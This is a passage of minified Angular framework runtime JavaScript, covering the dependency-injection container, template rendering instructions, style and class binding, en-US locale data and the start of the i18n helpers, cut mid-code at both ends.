t=e[1];Zs(t,e,t.template,e[8])}else e[5]>0&&vr(e)}const e=t[1].components;if(null!==e)for(let n=0;n<e.length;n++){const i=Mt(e[n],t);Ut(i)&&i[5]>0&&vr(i)}}function br(t,e){const n=Mt(e,t),i=n[1];(function(t,e){for(let n=e.length;n<t.blueprint.length;n++)e.push(t.blueprint[n])})(i,n),zs(i,n,n[8])}function yr(t,e){return t[13]?t[14][4]=e:t[13]=e,t[14]=e,e}function wr(t){for(;t;){t[2]|=64;const e=Yi(t);if(gt(t)&&!e)return t;t=e}return null}function xr(t,e,n){const i=e[10];i.begin&&i.begin();try{Zs(t,e,t.template,n)}catch(s){throw Ir(e,s),s}finally{i.end&&i.end()}}function Cr(t){!function(t){for(let e=0;e<t.components.length;e++){const n=t.components[e],i=Ni(n),s=i[1];Ws(s,i,s.template,n)}}(t[8])}function Sr(t,e,n){ue(0),e(t,n)}const Er=(()=>Promise.resolve(null))();function kr(t){return t[7]||(t[7]=[])}function Tr(t){return t.cleanup||(t.cleanup=[])}function Ar(t,e,n){return(null===t||mt(t))&&(n=function(t){for(;Array.isArray(t);){if("object"==typeof t[1])return t;t=t[0]}return null}(n[e.index])),n[lt]}function Ir(t,e){const n=t[9],i=n?n.get(Mi,null):null;i&&i.handleError(e)}function Or(t,e,n,i,s){for(let r=0;r<n.length;){const o=n[r++],a=n[r++],c=e[o],l=t.data[o];null!==l.setInput?l.setInput(c,s,i,a):c[a]=s}}function Rr(t,e,n){const i=Pt(e,t);!function(t,e,n){It(t)?t.setValue(e,n):e.textContent=n}(t[lt],i,n)}function Pr(t,e,n){let i=n?t.styles:null,s=n?t.classes:null,r=0;if(null!==e)for(let o=0;o<e.length;o++){const t=e[o];"number"==typeof t?r=t:1==r?s=h(s,t):2==r&&(i=h(i,t+": "+e[++o]+";"))}n?t.styles=i:t.stylesWithoutHost=i,n?t.classes=s:t.classesWithoutHost=s}const Nr=new un("INJECTOR",-1);class Dr{get(t,e=wn){if(e===wn){const e=new Error(`NullInjectorError: No provider for ${u(t)}!`);throw e.name="NullInjectorError",e}return e}}const Lr=new un("Set Injector scope."),Mr={},Fr={};let Ur;function Br(){return void 0===Ur&&(Ur=new Dr),Ur}function jr(t,e=null,n=null,i){return new Hr(t,n,e||Br(),i)}class Hr{constructor(t,e,n,i=null){this.parent=n,this.records=new Map,this.injectorDefTypes=new Set,this.onDestroy=new Set,this._destroyed=!1;const s=[];e&&fn(e,n=>this.processProvider(n,t,e)),fn([t],t=>this.processInjectorType(t,[],s)),this.records.set(Nr,Yr(void 0,this));const r=this.records.get(Lr);this.scope=null!=r?r.value:null,this.source=i||("object"==typeof t?null:u(t))}get destroyed(){return this._destroyed}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{this.onDestroy.forEach(t=>t.ngOnDestroy())}finally{this.records.clear(),this.onDestroy.clear(),this.injectorDefTypes.clear()}}get(t,e=wn,n=O.Default){this.assertNotDestroyed();const i=An(this),s=P(void 0);try{if(!(n&O.SkipSelf)){let e=this.records.get(t);if(void 0===e){const n=("function"==typeof(r=t)||"object"==typeof r&&r instanceof un)&&C(t);e=n&&this.injectableDefInScope(n)?Yr(Vr(t),Mr):null,this.records.set(t,e)}if(null!=e)return this.hydrate(t,e)}return(n&O.Self?Br():this.parent).get(t,e=n&O.Optional&&e===wn?null:e)}catch(o){if("NullInjectorError"===o.name){if((o[Cn]=o[Cn]||[]).unshift(u(t)),i)throw o;return Ln(o,t,"R3InjectorError",this.source)}throw o}finally{P(s),An(i)}var r}_resolveInjectorDefTypes(){this.injectorDefTypes.forEach(t=>this.get(t))}toString(){const t=[];return this.records.forEach((e,n)=>t.push(u(n))),`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new Error("Injector has already been destroyed.")}processInjectorType(t,e,n){if(!(t=f(t)))return!1;let i=E(t);const s=null==i&&t.ngModule||void 0,r=void 0===s?t:s,o=-1!==n.indexOf(r);if(void 0!==s&&(i=E(s)),null==i)return!1;if(null!=i.imports&&!o){let t;n.push(r);try{fn(i.imports,i=>{this.processInjectorType(i,e,n)&&(void 0===t&&(t=[]),t.push(i))})}finally{}if(void 0!==t)for(let e=0;e<t.length;e++){const{ngModule:n,providers:i}=t[e];fn(i,t=>this.processProvider(t,n,i||V))}}this.injectorDefTypes.add(r);const a=_t(r)||(()=>new r);this.records.set(r,Yr(a,Mr));const c=i.providers;if(null!=c&&!o){const e=t;fn(c,t=>this.processProvider(t,e,c))}return void 0!==s&&void 0!==t.providers}processProvider(t,e,n){let i=$r(t=f(t))?t:f(t&&t.provide);const s=qr(r=t)?Yr(void 0,r.useValue):Yr(Gr(r),Mr);var r;if($r(t)||!0!==t.multi)this.records.get(i);else{let e=this.records.get(i);e||(e=Yr(void 0,Mr,!0),e.factory=()=>Pn(e.multi),this.records.set(i,e)),i=t,e.multi.push(t)}this.records.set(i,s)}hydrate(t,e){return e.value===Mr&&(e.value=Fr,e.value=e.factory()),"object"==typeof e.value&&e.value&&null!==(n=e.value)&&"object"==typeof n&&"function"==typeof n.ngOnDestroy&&this.onDestroy.add(e.value),e.value;var n}injectableDefInScope(t){if(!t.providedIn)return!1;const e=f(t.providedIn);return"string"==typeof e?"any"===e||e===this.scope:this.injectorDefTypes.has(e)}}function Vr(t){const e=C(t),n=null!==e?e.factory:_t(t);if(null!==n)return n;if(t instanceof un)throw new Error(`Token ${u(t)} is missing a \u0275prov definition.`);if(t instanceof Function)return function(t){const e=t.length;if(e>0){const n=_n(e,"?");throw new Error(`Can't resolve all parameters for ${u(t)}: (${n.join(", ")}).`)}const n=function(t){const e=t&&(t[k]||t[A]);if(e){const n=function(t){if(t.hasOwnProperty("name"))return t.name;const e=(""+t).match(/^function\s*([^\s(]+)/);return null===e?"":e[1]}(t);return console.warn(`DEPRECATED: DI is instantiating a token "${n}" that inherits its @Injectable decorator but does not provide one itself.\nThis will become an error in a future version of Angular. Please add @Injectable() to the "${n}" class.`),e}return null}(t);return null!==n?()=>n.factory(t):()=>new t}(t);throw new Error("unreachable")}function Gr(t,e,n){let i;if($r(t)){const e=f(t);return _t(e)||Vr(e)}if(qr(t))i=()=>f(t.useValue);else if(function(t){return!(!t||!t.useFactory)}(t))i=()=>t.useFactory(...Pn(t.deps||[]));else if(function(t){return!(!t||!t.useExisting)}(t))i=()=>On(f(t.useExisting));else{const e=f(t&&(t.useClass||t.provide));if(!function(t){return!!t.deps}(t))return _t(e)||Vr(e);i=()=>new e(...Pn(t.deps))}return i}function Yr(t,e,n=!1){return{factory:t,value:e,multi:n?[]:void 0}}function qr(t){return null!==t&&"object"==typeof t&&kn in t}function $r(t){return"function"==typeof t}const zr=function(t,e,n){return function(t,e=null,n=null,i){const s=jr(t,e,n,i);return s._resolveInjectorDefTypes(),s}({name:n},e,t,n)};let Zr=(()=>{class t{static create(t,e){return Array.isArray(t)?zr(t,e,""):zr(t.providers,t.parent,t.name||"")}}return t.THROW_IF_NOT_FOUND=wn,t.NULL=new Dr,t.\u0275prov=w({token:t,providedIn:"any",factory:()=>On(Nr)}),t.__NG_ELEMENT_ID__=-1,t})();function Wr(t,e){Se(Ni(t)[1],zt())}function Jr(t){let e=function(t){return Object.getPrototypeOf(t.prototype).constructor}(t.type),n=!0;const i=[t];for(;e;){let s;if(mt(t))s=e.\u0275cmp||e.\u0275dir;else{if(e.\u0275cmp)throw new Error("Directives cannot inherit Components");s=e.\u0275dir}if(s){if(n){i.push(s);const e=t;e.inputs=Qr(t.inputs),e.declaredInputs=Qr(t.declaredInputs),e.outputs=Qr(t.outputs);const n=s.hostBindings;n&&to(t,n);const r=s.viewQuery,o=s.contentQueries;if(r&&Kr(t,r),o&&Xr(t,o),l(t.inputs,s.inputs),l(t.declaredInputs,s.declaredInputs),l(t.outputs,s.outputs),mt(s)&&s.data.animation){const e=t.data;e.animation=(e.animation||[]).concat(s.data.animation)}}const e=s.features;if(e)for(let i=0;i<e.length;i++){const s=e[i];s&&s.ngInherit&&s(t),s===Jr&&(n=!1)}}e=Object.getPrototypeOf(e)}!function(t){let e=0,n=null;for(let i=t.length-1;i>=0;i--){const s=t[i];s.hostVars=e+=s.hostVars,s.hostAttrs=De(s.hostAttrs,n=De(n,s.hostAttrs))}}(i)}function Qr(t){return t===H?{}:t===V?[]:t}function Kr(t,e){const n=t.viewQuery;t.viewQuery=n?(t,i)=>{e(t,i),n(t,i)}:e}function Xr(t,e){const n=t.contentQueries;t.contentQueries=n?(t,i,s)=>{e(t,i,s),n(t,i,s)}:e}function to(t,e){const n=t.hostBindings;t.hostBindings=n?(t,i)=>{e(t,i),n(t,i)}:e}let eo=null;function no(){if(!eo){const t=j.Symbol;if(t&&t.iterator)eo=t.iterator;else{const t=Object.getOwnPropertyNames(Map.prototype);for(let e=0;e<t.length;++e){const n=t[e];"entries"!==n&&"size"!==n&&Map.prototype[n]===Map.prototype.entries&&(eo=n)}}}return eo}class io{constructor(t){this.wrapped=t}static wrap(t){return new io(t)}static unwrap(t){return io.isWrapped(t)?t.wrapped:t}static isWrapped(t){return t instanceof io}}function so(t){return!!ro(t)&&(Array.isArray(t)||!(t instanceof Map)&&no()in t)}function ro(t){return null!==t&&("function"==typeof t||"object"==typeof t)}function oo(t,e,n){return t[e]=n}function ao(t,e,n){return!Object.is(t[e],n)&&(t[e]=n,!0)}function co(t,e,n,i){const s=ao(t,e,n);return ao(t,e+1,i)||s}function lo(t,e,n,i){const s=Yt();return ao(s,ie(),e)&&(qt(),pr(we(),s,t,e,n,i)),lo}function uo(t,e,n,i){return ao(t,ie(),n)?e+_(n)+i:Ns}function ho(t,e,n,i,s,r,o,a){const c=Yt(),l=qt(),u=t+20,h=l.firstCreatePass?function(t,e,n,i,s,r,o,a,c){const l=e.consts,u=Ys(e,t,4,o||null,Bt(l,a));rr(e,n,u,Bt(l,c)),Se(e,u);const h=u.tViews=er(2,u,i,s,r,e.directiveRegistry,e.pipeRegistry,null,e.schemas,l);return null!==e.queries&&(e.queries.template(e,u),h.queries=e.queries.embeddedTView(u)),u}(u,l,c,e,n,i,s,r,o):l.data[u];Jt(h,!1);const d=c[lt].createComment("");ds(l,c,d,h),Pi(d,c),yr(c,c[u]=gr(d,c,d,h)),ft(h)&&Ks(l,c,h),null!=o&&Xs(c,h,a)}function po(t){return Lt(Vt.lFrame.contextLView,20+t)}function fo(t,e=O.Default){const n=Yt();return null===n?On(t,e):We(zt(),n,f(t),e)}function mo(){throw new Error("invalid")}function go(t,e,n){const i=Yt();return ao(i,ie(),e)&&sr(qt(),we(),i,t,e,i[lt],n,!1),go}function _o(t,e,n,i,s){const r=s?"class":"style";Or(t,n,e.inputs[r],r,i)}function vo(t,e,n,i){const s=Yt(),r=qt(),o=20+t,a=s[lt],c=s[o]=Ji(a,e,Vt.lFrame.currentNamespace),l=r.firstCreatePass?function(t,e,n,i,s,r,o){const a=e.consts,c=Ys(e,t,2,s,Bt(a,r));return rr(e,n,c,Bt(a,o)),null!==c.attrs&&Pr(c,c.attrs,!1),null!==c.mergedAttrs&&Pr(c,c.mergedAttrs,!0),null!==e.queries&&e.queries.elementStart(e,c),c}(o,r,s,0,e,n,i):r.data[o];Jt(l,!0);const u=l.mergedAttrs;null!==u&&Re(a,c,u);const h=l.classes;null!==h&&ys(a,c,h);const d=l.styles;null!==d&&bs(a,c,d),64!=(64&l.flags)&&ds(r,s,c,l),0===Vt.lFrame.elementDepthCount&&Pi(c,s),Vt.lFrame.elementDepthCount++,ft(l)&&(Ks(r,s,l),Qs(r,l,s)),null!==i&&Xs(s,l)}function bo(){let t=zt();Qt()?Kt():(t=t.parent,Jt(t,!1));const e=t;Vt.lFrame.elementDepthCount--;const n=qt();n.firstCreatePass&&(Se(n,t),dt(t)&&n.queries.elementEnd(t)),null!=e.classesWithoutHost&&function(t){return 0!=(16&t.flags)}(e)&&_o(n,e,Yt(),e.classesWithoutHost,!0),null!=e.stylesWithoutHost&&function(t){return 0!=(32&t.flags)}(e)&&_o(n,e,Yt(),e.stylesWithoutHost,!1)}function yo(t,e,n,i){vo(t,e,n,i),bo()}function wo(t,e,n){const i=Yt(),s=qt(),r=t+20,o=s.firstCreatePass?function(t,e,n,i,s){const r=e.consts,o=Bt(r,i),a=Ys(e,t,8,"ng-container",o);return null!==o&&Pr(a,o,!0),rr(e,n,a,Bt(r,s)),null!==e.queries&&e.queries.elementStart(e,a),a}(r,s,i,e,n):s.data[r];Jt(o,!0);const a=i[r]=i[lt].createComment("");ds(s,i,a,o),Pi(a,i),ft(o)&&(Ks(s,i,o),Qs(s,o,i)),null!=n&&Xs(i,o)}function xo(){let t=zt();const e=qt();Qt()?Kt():(t=t.parent,Jt(t,!1)),e.firstCreatePass&&(Se(e,t),dt(t)&&e.queries.elementEnd(t))}function Co(t,e,n){wo(t,e,n),xo()}function So(){return Yt()}function Eo(t){return!!t&&"function"==typeof t.then}function ko(t){return!!t&&"function"==typeof t.subscribe}const To=ko;function Ao(t,e,n,i){const s=Yt(),r=qt(),o=zt();return Oo(r,s,s[lt],o,t,e,!!n,i),Ao}function Io(t,e){const n=zt(),i=Yt(),s=qt();return Oo(s,i,Ar(ce(s.data),n,i),n,t,e,!1),Io}function Oo(t,e,n,i,s,r,o,a){const c=ft(i),l=t.firstCreatePass&&Tr(t),u=e[8],h=kr(e);let d=!0;if(3&i.type||a){const p=Nt(i,e),f=a?a(p):p,m=h.length,g=a?t=>a(Rt(t[i.index])):i.index;if(It(n)){let o=null;if(!a&&c&&(o=function(t,e,n,i){const s=t.cleanup;if(null!=s)for(let r=0;r<s.length-1;r+=2){const t=s[r];if(t===n&&s[r+1]===i){const t=e[7],n=s[r+2];return t.length>n?t[n]:null}"string"==typeof t&&(r+=2)}return null}(t,e,s,i.index)),null!==o)(o.__ngLastListenerFn__||o).__ngNextListenerFn__=r,o.__ngLastListenerFn__=r,d=!1;else{r=Po(i,e,u,r,!1);const t=n.listen(f,s,r);h.push(r,t),l&&l.push(s,g,m,m+1)}}else r=Po(i,e,u,r,!0),f.addEventListener(s,r,o),h.push(r),l&&l.push(s,g,m,o)}else r=Po(i,e,u,r,!1);const p=i.outputs;let f;if(d&&null!==p&&(f=p[s])){const t=f.length;if(t)for(let n=0;n<t;n+=2){const t=e[f[n]][f[n+1]].subscribe(r),o=h.length;h.push(r,t),l&&l.push(s,i.index,o,-(o+1))}}}function Ro(t,e,n,i){try{return!1!==n(i)}catch(s){return Ir(t,s),!1}}function Po(t,e,n,i,s){return function n(r){if(r===Function)return i;const o=2&t.flags?Mt(t.index,e):e;0==(32&e[2])&&wr(o);let a=Ro(e,0,i,r),c=n.__ngNextListenerFn__;for(;c;)a=Ro(e,0,c,r)&&a,c=c.__ngNextListenerFn__;return s&&!1===a&&(r.preventDefault(),r.returnValue=!1),a}}function No(t=1){return function(t){return(Vt.lFrame.contextLView=function(t,e){for(;t>0;)e=e[15],t--;return e}(t,Vt.lFrame.contextLView))[8]}(t)}function Do(t,e){let n=null;const i=function(t){const e=t.attrs;if(null!=e){const t=e.indexOf(5);if(0==(1&t))return e[t+1]}return null}(t);for(let s=0;s<e.length;s++){const r=e[s];if("*"!==r){if(null===i?Is(t,r,!0):Os(i,r))return s}else n=s}return n}function Lo(t){const e=Yt()[16][6];if(!e.projection){const n=e.projection=_n(t?t.length:1,null),i=n.slice();let s=e.child;for(;null!==s;){const e=t?Do(s,t):0;null!==e&&(i[e]?i[e].projectionNext=s:n[e]=s,i[e]=s),s=s.next}}}function Mo(t,e=0,n){const i=Yt(),s=qt(),r=Ys(s,20+t,16,null,n||null);null===r.projection&&(r.projection=e),Kt(),64!=(64&r.flags)&&function(t,e,n){vs(e[lt],0,e,n,es(t,n,e),as(n.parent||e[6],n,e))}(s,i,r)}function Fo(t,e,n){return Uo(t,"",e,"",n),Fo}function Uo(t,e,n,i,s){const r=Yt(),o=uo(r,e,n,i);return o!==Ns&&sr(qt(),we(),r,t,o,r[lt],s,!1),Uo}function Bo(t,e,n,i,s){const r=t[n+1],o=null===e;let a=i?Fs(r):Bs(r),c=!1;for(;0!==a&&(!1===c||o);){const n=t[a+1];jo(t[a],e)&&(c=!0,t[a+1]=i?Hs(n):Us(n)),a=i?Fs(n):Bs(n)}c&&(t[n+1]=i?Us(r):Hs(r))}function jo(t,e){return null===t||null==e||(Array.isArray(t)?t[1]:t)===e||!(!Array.isArray(t)||"string"!=typeof e)&&yn(t,e)>=0}const Ho={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function Vo(t){return t.substring(Ho.key,Ho.keyEnd)}function Go(t,e){const n=Ho.textEnd;return n===e?-1:(e=Ho.keyEnd=function(t,e,n){for(;e<n&&t.charCodeAt(e)>32;)e++;return e}(t,Ho.key=e,n),Yo(t,e,n))}function Yo(t,e,n){for(;e<n&&t.charCodeAt(e)<=32;)e++;return e}function qo(t,e,n){return Wo(t,e,n,!1),qo}function $o(t,e){return Wo(t,e,null,!0),$o}function zo(t){Jo(vn,Zo,t,!0)}function Zo(t,e){for(let n=function(t){return function(t){Ho.key=0,Ho.keyEnd=0,Ho.value=0,Ho.valueEnd=0,Ho.textEnd=t.length}(t),Go(t,Yo(t,0,Ho.textEnd))}(e);n>=0;n=Go(e,n))vn(t,Vo(e),!0)}function Wo(t,e,n,i){const s=Yt(),r=qt(),o=se(2);r.firstUpdatePass&&Ko(r,t,o,i),e!==Ns&&ao(s,o,e)&&ea(r,r.data[be()],s,s[lt],t,s[o+1]=function(t,e){return null==t||("string"==typeof e?t+=e:"object"==typeof t&&(t=u(Wn(t)))),t}(e,n),i,o)}function Jo(t,e,n,i){const s=qt(),r=se(2);s.firstUpdatePass&&Ko(s,null,r,i);const o=Yt();if(n!==Ns&&ao(o,r,n)){const a=s.data[be()];if(sa(a,i)&&!Qo(s,r)){let t=i?a.classesWithoutHost:a.stylesWithoutHost;null!==t&&(n=h(t,n||"")),_o(s,a,o,n,i)}else!function(t,e,n,i,s,r,o,a){s===Ns&&(s=V);let c=0,l=0,u=0<s.length?s[0]:null,h=0<r.length?r[0]:null;for(;null!==u||null!==h;){const d=c<s.length?s[c+1]:void 0,p=l<r.length?r[l+1]:void 0;let f,m=null;u===h?(c+=2,l+=2,d!==p&&(m=h,f=p)):null===h||null!==u&&u<h?(c+=2,m=u):(l+=2,m=h,f=p),null!==m&&ea(t,e,n,i,m,f,o,a),u=c<s.length?s[c]:null,h=l<r.length?r[l]:null}}(s,a,o,o[lt],o[r+1],o[r+1]=function(t,e,n){if(null==n||""===n)return V;const i=[],s=Wn(n);if(Array.isArray(s))for(let r=0;r<s.length;r++)t(i,s[r],!0);else if("object"==typeof s)for(const r in s)s.hasOwnProperty(r)&&t(i,r,s[r]);else"string"==typeof s&&e(i,s);return i}(t,e,n),i,r)}}function Qo(t,e){return e>=t.expandoStartIndex}function Ko(t,e,n,i){const s=t.data;if(null===s[n+1]){const r=s[be()],o=Qo(t,n);sa(r,i)&&null===e&&!o&&(e=!1),e=function(t,e,n,i){const s=ce(t);let r=i?e.residualClasses:e.residualStyles;if(null===s)0===(i?e.classBindings:e.styleBindings)&&(n=ta(n=Xo(null,t,e,n,i),e.attrs,i),r=null);else{const o=e.directiveStylingLast;if(-1===o||t[o]!==s)if(n=Xo(s,t,e,n,i),null===r){let n=function(t,e,n){const i=n?e.classBindings:e.styleBindings;if(0!==Bs(i))return t[Fs(i)]}(t,e,i);void 0!==n&&Array.isArray(n)&&(n=Xo(null,t,e,n[1],i),n=ta(n,e.attrs,i),function(t,e,n,i){t[Fs(n?e.classBindings:e.styleBindings)]=i}(t,e,i,n))}else r=function(t,e,n){let i;const s=e.directiveEnd;for(let r=1+e.directiveStylingLast;r<s;r++)i=ta(i,t[r].hostAttrs,n);return ta(i,e.attrs,n)}(t,e,i)}return void 0!==r&&(i?e.residualClasses=r:e.residualStyles=r),n}(s,r,e,i),function(t,e,n,i,s,r){let o=r?e.classBindings:e.styleBindings,a=Fs(o),c=Bs(o);t[i]=n;let l,u=!1;if(Array.isArray(n)){const t=n;l=t[1],(null===l||yn(t,l)>0)&&(u=!0)}else l=n;if(s)if(0!==c){const e=Fs(t[a+1]);t[i+1]=Ms(e,a),0!==e&&(t[e+1]=js(t[e+1],i)),t[a+1]=function(t,e){return 131071&t|e<<17}(t[a+1],i)}else t[i+1]=Ms(a,0),0!==a&&(t[a+1]=js(t[a+1],i)),a=i;else t[i+1]=Ms(c,0),0===a?a=i:t[c+1]=js(t[c+1],i),c=i;u&&(t[i+1]=Us(t[i+1])),Bo(t,l,i,!0),Bo(t,l,i,!1),function(t,e,n,i,s){const r=s?t.residualClasses:t.residualStyles;null!=r&&"string"==typeof e&&yn(r,e)>=0&&(n[i+1]=Hs(n[i+1]))}(e,l,t,i,r),o=Ms(a,c),r?e.classBindings=o:e.styleBindings=o}(s,r,e,n,o,i)}}function Xo(t,e,n,i,s){let r=null;const o=n.directiveEnd;let a=n.directiveStylingLast;for(-1===a?a=n.directiveStart:a++;a<o&&(r=e[a],i=ta(i,r.hostAttrs,s),r!==t);)a++;return null!==t&&(n.directiveStylingLast=a),i}function ta(t,e,n){const i=n?1:2;let s=-1;if(null!==e)for(let r=0;r<e.length;r++){const o=e[r];"number"==typeof o?s=o:s===i&&(Array.isArray(t)||(t=void 0===t?[]:["",t]),vn(t,o,!!n||e[++r]))}return void 0===t?null:t}function ea(t,e,n,i,s,r,o,a){if(!(3&e.type))return;const c=t.data,l=c[a+1];ia(function(t){return 1==(1&t)}(l)?na(c,e,n,s,Bs(l),o):void 0)||(ia(r)||function(t){return 2==(2&t)}(l)&&(r=na(c,null,n,s,a,o)),function(t,e,n,i,s){const r=It(t);if(e)s?r?t.addClass(n,i):n.classList.add(i):r?t.removeClass(n,i):n.classList.remove(i);else{let e=-1===i.indexOf("-")?void 0:Hi.DashCase;if(null==s)r?t.removeStyle(n,i,e):n.style.removeProperty(i);else{const o="string"==typeof s&&s.endsWith("!important");o&&(s=s.slice(0,-10),e|=Hi.Important),r?t.setStyle(n,i,s,e):n.style.setProperty(i,s,o?"important":"")}}}(i,o,Pt(be(),n),s,r))}function na(t,e,n,i,s,r){const o=null===e;let a;for(;s>0;){const e=t[s],r=Array.isArray(e),c=r?e[1]:e,l=null===c;let u=n[s+1];u===Ns&&(u=l?V:void 0);let h=l?bn(u,i):c===i?u:void 0;if(r&&!ia(h)&&(h=bn(e,i)),ia(h)&&(a=h,o))return a;const d=t[s+1];s=o?Fs(d):Bs(d)}if(null!==e){let t=r?e.residualClasses:e.residualStyles;null!=t&&(a=bn(t,i))}return a}function ia(t){return void 0!==t}function sa(t,e){return 0!=(t.flags&(e?16:32))}function ra(t,e=""){const n=Yt(),i=qt(),s=t+20,r=i.firstCreatePass?Ys(i,s,1,e,null):i.data[s],o=n[s]=Wi(n[lt],e);ds(i,n,o,r),Jt(r,!1)}function oa(t){return aa("",t,""),oa}function aa(t,e,n){const i=Yt(),s=uo(i,t,e,n);return s!==Ns&&Rr(i,be(),s),aa}function ca(t,e,n,i,s){const r=Yt(),o=function(t,e,n,i,s,r){const o=co(t,ne(),n,s);return se(2),o?e+_(n)+i+_(s)+r:Ns}(r,t,e,n,i,s);return o!==Ns&&Rr(r,be(),o),ca}function la(t,e,n){Jo(vn,Zo,uo(Yt(),t,e,n),!0)}function ua(t,e,n){const i=Yt();return ao(i,ie(),e)&&sr(qt(),we(),i,t,e,i[lt],n,!0),ua}function ha(t,e,n){const i=Yt();if(ao(i,ie(),e)){const s=qt(),r=we();sr(s,r,i,t,e,Ar(ce(s.data),r,i),n,!0)}return ha}const da=void 0;var pa=["en",[["a","p"],["AM","PM"],da],[["AM","PM"],da,da],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],da,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],da,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],0,[6,0],["M/d/yy","MMM d, y","MMMM d, y","EEEE, MMMM d, y"],["h:mm a","h:mm:ss a","h:mm:ss a z","h:mm:ss a zzzz"],["{1}, {0}",da,"{1} 'at' {0}",da],[".",",",";","%","+","-","E","\xd7","\u2030","\u221e","NaN",":"],["#,##0.###","#,##0%","\xa4#,##0.00","#E0"],"USD","$","US Dollar",{},"ltr",function(t){const e=Math.floor(Math.abs(t)),n=t.toString().replace(/^[^.]*\.?/,"").length;return 1===e&&0===n?1:5}];let fa={};function ma(t,e,n){"string"!=typeof e&&(n=e,e=t[ba.LocaleId]),e=e.toLowerCase().replace(/_/g,"-"),fa[e]=t,n&&(fa[e][ba.ExtraData]=n)}function ga(t){const e=function(t){return t.toLowerCase().replace(/_/g,"-")}(t);let n=va(e);if(n)return n;const i=e.split("-")[0];if(n=va(i),n)return n;if("en"===i)return pa;throw new Error(`Missing locale data for the locale "${t}".`)}function _a(t){return ga(t)[ba.PluralCase]}function va(t){return t in fa||(fa[t]=j.ng&&j.ng.common&&j.ng.common.locales&&j.ng.common.locales[t]),fa[t]}var ba=(()=>((ba=ba||{})[ba.LocaleId=0]="LocaleId",ba[ba.DayPeriodsFormat=1]="DayPeriodsFormat",ba[ba.DayPeriodsStandalone=2]="DayPeriodsStandalone",ba[ba.DaysFormat=3]="DaysFormat",ba[ba.DaysStandalone=4]="DaysStandalone",ba[ba.MonthsFormat=5]="MonthsFormat",ba[ba.MonthsStandalone=6]="MonthsStandalone",ba[ba.Eras=7]="Eras",ba[ba.FirstDayOfWeek=8]="FirstDayOfWeek",ba[ba.WeekendRange=9]="WeekendRange",ba[ba.DateFormat=10]="DateFormat",ba[ba.TimeFormat=11]="TimeFormat",ba[ba.DateTimeFormat=12]="DateTimeFormat",ba[ba.NumberSymbols=13]="NumberSymbols",ba[ba.NumberFormats=14]="NumberFormats",ba[ba.CurrencyCode=15]="CurrencyCode",ba[ba.CurrencySymbol=16]="CurrencySymbol",ba[ba.CurrencyName=17]="CurrencyName",ba[ba.Currencies=18]="Currencies",ba[ba.Directionality=19]="Directionality",ba[ba.PluralCase=20]="PluralCase",ba[ba.ExtraData=21]="ExtraData",ba))();const ya="en-US",wa={marker:"element"},xa={marker:"ICU"};var Ca=(()=>((Ca=Ca||{})[Ca.SHIFT=2]="SHIFT",Ca[Ca.APPEND_EAGERLY=1]="APPEND_EAGERLY",Ca[Ca.COMMENT=2]="COMMENT",Ca))();let Sa=ya;function Ea(t){(function(t,e){null==t&&y(e,t,null,"!=")})(t,"Expected localeId to be defined"),"string"==typeof t&&(Sa=t.toLowerCase().replace(/_/g,"-"))}function ka(t,e,n){const i=e.insertBeforeIndex,s=Array.isArray(i)?i[0]:i;return null===s?cs(t,0,n):Rt(n[s])}function Ta(t,e,n,i,s){const r=e.insertBeforeIndex;if(Array.isArray(r)){let o=i,a=null;if(3&e.type||(a=o,o=s),null!==o&&0==(2&e.flags))for(let e=1;e<r.length;e++)is(t,o,n[r[e]],a,!1)}}function Aa(t,e){if(t.push(e),t.length>1)for(let n=t.length-2;n>=0;n--){const i=t[n];Ia(i)||Oa(i,e)&&null===Ra(i)&&Pa(i,e.index)}}function Ia(t){return!(64&t.type)}function Oa(t,e){return Ia(e)||t.index>e.index}function Ra(t){const e=t.insertBeforeIndex;return Array.isArray(e)?e[0]:e}function Pa(t,e){const n=t.insertBeforeIndex;Array.isArray(n)?n[0]=e:(hs(ka,Ta),t.insertBeforeIndex=e)}function Na(t,e,n){const i=qs(t,n,64,null,null);return Aa(e,i),i}function Da(){const t=[];let e,n,i=-1;function s(t,e){i=0;const s=function(t,e){const n=e[t.currentCaseLViewIndex];return null===n?n:n<0?~n:n}(t,e);n=null!==s?t.remove[s]:V}function r(){if(i<n.length){const o=n[i++];return o>0?e[o]:(t.push(i,n),s(e[1].data[~o],e),r())}return 0===t.length?null:(n=t.pop(),i=t.pop(),r())}return function(n,i){for(e=i;t.length;)t.pop();return s(n.value,i),r}}const La=/\ufffd(\d+):?\d*\ufffd/gi,Ma=/\ufffd(\d+)\ufffd/,Fa=/^\s*(\ufffd\d+:?\d*\ufffd)\s*,\s*(select|plural)\s*,/,Ua=/\ufffd\/?\*(\d+:\d+)\ufffd/gi,Ba=/\ufffd(\/?[#*]\d+):?\d*\ufffd/gi,ja=/\uE500/g;function Ha(t,e,n,i,s,r,o){const a=$s(t,i,1,null);let c=a<<Ca.SHIFT,l=Wt();e===l&&(l=null),null===l&&(c|=Ca.APPEND_EAGERLY),o&&(c|=Ca.COMMENT,function(t){void 0===Vi&&(Vi=t())}(Da)),s.push(c,null===r?"":r);const u=qs(t,a,o?32:1,null===r?"":r,null);Aa(n,u);const h=u.index;return Jt(u,!1),null!==l&&e!==l&&function(t,e){let n=t.insertBeforeIndex;null===n?(hs(ka,Ta),n=t.insertBeforeIndex=[null,e]):(function(t,e,n){t!=e&&y(n,t,e,"==")}(Array.isArray(n),!0,"Expecting array here"),n.push(e))}(l,h),u}function Va(t,e,n,i,s,r,o){const a=o.match(La),c=Ha(t,e,n,r,i,a?null:o,!1);a&&Ga(s,o,c.index,null,0,null)}function Ga(t,e,n,i,s,r){const o=t.length,a=o+1;t.push(null,null);const c=o+2,l=e.split(La);let u=0;for(let h=0;h<l.length;h++){const e=l[h];if(1&h){const n=s+parseInt(e,10);t.push(-1-n),u|=Ya(n)}else""!==e&&t.push(e)}return t.push(n<<2|(i?1:0)),i&&t.push(i,r),t[o]=u,t[a]=t.length-c,u}function Ya(t){return 1<<Math.min(t,31)}function qa(t){let 